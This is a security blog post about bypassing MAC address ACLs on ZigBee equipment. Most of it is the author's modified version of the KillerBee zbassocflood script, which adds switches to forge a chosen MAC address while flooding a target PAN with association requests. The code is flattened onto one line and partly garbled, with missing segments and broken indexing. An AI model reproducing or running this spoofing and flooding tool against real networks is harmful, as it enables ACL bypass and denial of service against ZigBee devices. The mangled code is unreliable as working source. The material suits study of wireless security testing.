While looking at some of our ZigBee equipment, I determined that MAC address ACLs could be enabled. MAC address ACLs work about as well as MAC address filtering on wireless. They may prevent some access but they are easily circumvented. Once the ACLs were enabled and the appropriate MAC addresses entered, the use of zbassocflood, from KillerBee, was rendered ineffective as it uses random MAC addresses.
The first step in getting around the ACL was to hard code one of the ZigBee devices MAC address into the zbassocflood utility. A MAC address, on an unknown ZigBee network, can be determined by using the zbdump utility then opening up the packet capture in Wireshark. After ensuring zbassocflood will work with a specific MAC address, I began working on adding a command line option. I added two switches to zbassocflood, -m and -M, which will accept a MAC address in standard order and in reverse byte order, respectively. I added the reverse byte order switch method because that is how ZigBee sends the address over the air.
I sent my version of zbassocflood to Josh Wright. One bug with the fixed MAC address utility that occurs after approximately 20 association packets are sent is a ‘Semantical Error’. I have not hunted down the bug that causes this to occur. My version of zbassocflood is included available here:
#!/usr/bin/env python import sys import os import signal import time from killerbee import * def usage(): print >>sys.stderr, """ zbassocflood: Transmit a flood of associate requests to a target network. firstname.lastname@example.org Usage: zbassocflood [-DfhimMps] [-f channel] [-i devnumstring] [-m mac address] [-m mac address] [-p PANID] [-s per-packet delay/float] -D Display available interfaces used by KillerBee -f NUM Transmit association request on channel NUM -h Display this screen -i DEVID Transmit association request on device DEVID -m MAC Specify a forged MAC address instead of a random MAC -M MAC Specify a forged MAC address in reverse byte order -p PANID Transmit association request to PAN PANID -s NUM Wait NUM (float) (milli)seconds between packets e.x. zbassocflood -p 0xBAAD -f 11 -s 0.1 -m 01:02:03:04:05:06:07:08 """ def show_dev(): kb = KillerBee() print "Dev\tProduct String\tSerial Number" for dev in kb.dev_list(): print "%s\t%s\t%s" % (dev, dev, dev) def interrupt(signum, frame): global kb global txcount kb.close() print "\nSent %d associate requests."%txcount sys.exit(0) # Watch for an association response # Default timeout is 1 second def watchforaresp(kb, timeout=1): d154 = Dot154PacketParser() kb.sniffer_on() start = time.time() while (start+timeout > time.time()): recvpkt = kb.pnext() if recvpkt != None and recvpkt: d154list = d154.pktchop(recvpkt) fcf = struct.unpack(" 1: op = sys.argv.pop(1) if op == '-i': arg_devstring = sys.argv.pop(1) if op == '-h': usage() sys.exit(0) if op == '-s': arg_framedelay = float(sys.argv.pop(1)) if op == '-f': arg_channel = int(sys.argv.pop(1)) if op == '-p': arg_panid = sys.argv.pop(1) if op == '-M': arg_macaddr = sys.argv.pop(1) mac = ''.join(chr(int(macbyte,16)) for macbyte in arg_macaddr.split(':')) if op == '-m': arg_macaddr = sys.argv.pop(1) mac = ''.join(chr(int(macbyte,16)) for macbyte in arg_macaddr.split(':'))[::-1] if op == '-D': show_dev() sys.exit(0) if not arg_channel: print("Must specify a channel with -c") usage() sys.exit(-1) if not arg_panid: print("Must specify a PANID with -p") usage() sys.exit(-1) kb = KillerBee(device=arg_devstring) signal.signal(signal.SIGINT, interrupt) print "zbassocflood: Transmitting and receiving on interface \'%s\'" % kb.get_dev_info() # Sequence number of assoc frame kb.set_channel(arg_channel) # Dest PAN ID dstpanid = struct.pack("H", int("0x" + arg_panid[-4:], 16)) assocreqp = dstpanid datareqp = dstpanid # Loop injecting and receiving packets seqnum = 0 while 1: if seqnum > 254: # 254 to accommodate datareq seqnum = 0 if not arg_macaddr: mac = randmac() assocreqp = "%c" % seqnum # ;) assocreqp = mac assocreqinj = ''.join(assocreqp) seqnum += 1 datareqp = "%c" % seqnum datareqp = mac datareqinj = ''.join(datareqp) try: # Send the associate request frame kb.inject(assocreqinj) time.sleep(0.05) # Delay between assoc and data requests # Send the data request frame kb.inject(datareqinj) except Exception, e: print "ERROR: Unable to inject packet" print e sys.exit(-1) try: # Listen for the ACK response seq = watchforaresp(kb, arg_framedelay*10) except Exception, e: print e print "ERROR: Unable to handle response processing." print e sys.exit(-1) try: if seq != None: ackp = seq ackinj = ''.join(ackp) kb.inject(ackinj) sys.stdout.write("+") sys.stdout.flush() else: sys.stdout.write(".") sys.stdout.flush() txcount+=1 time.sleep(arg_framedelay) except Exception, e: print "ERROR: Unable to handle ACK response." print e sys.exit(-1) seqnum += 1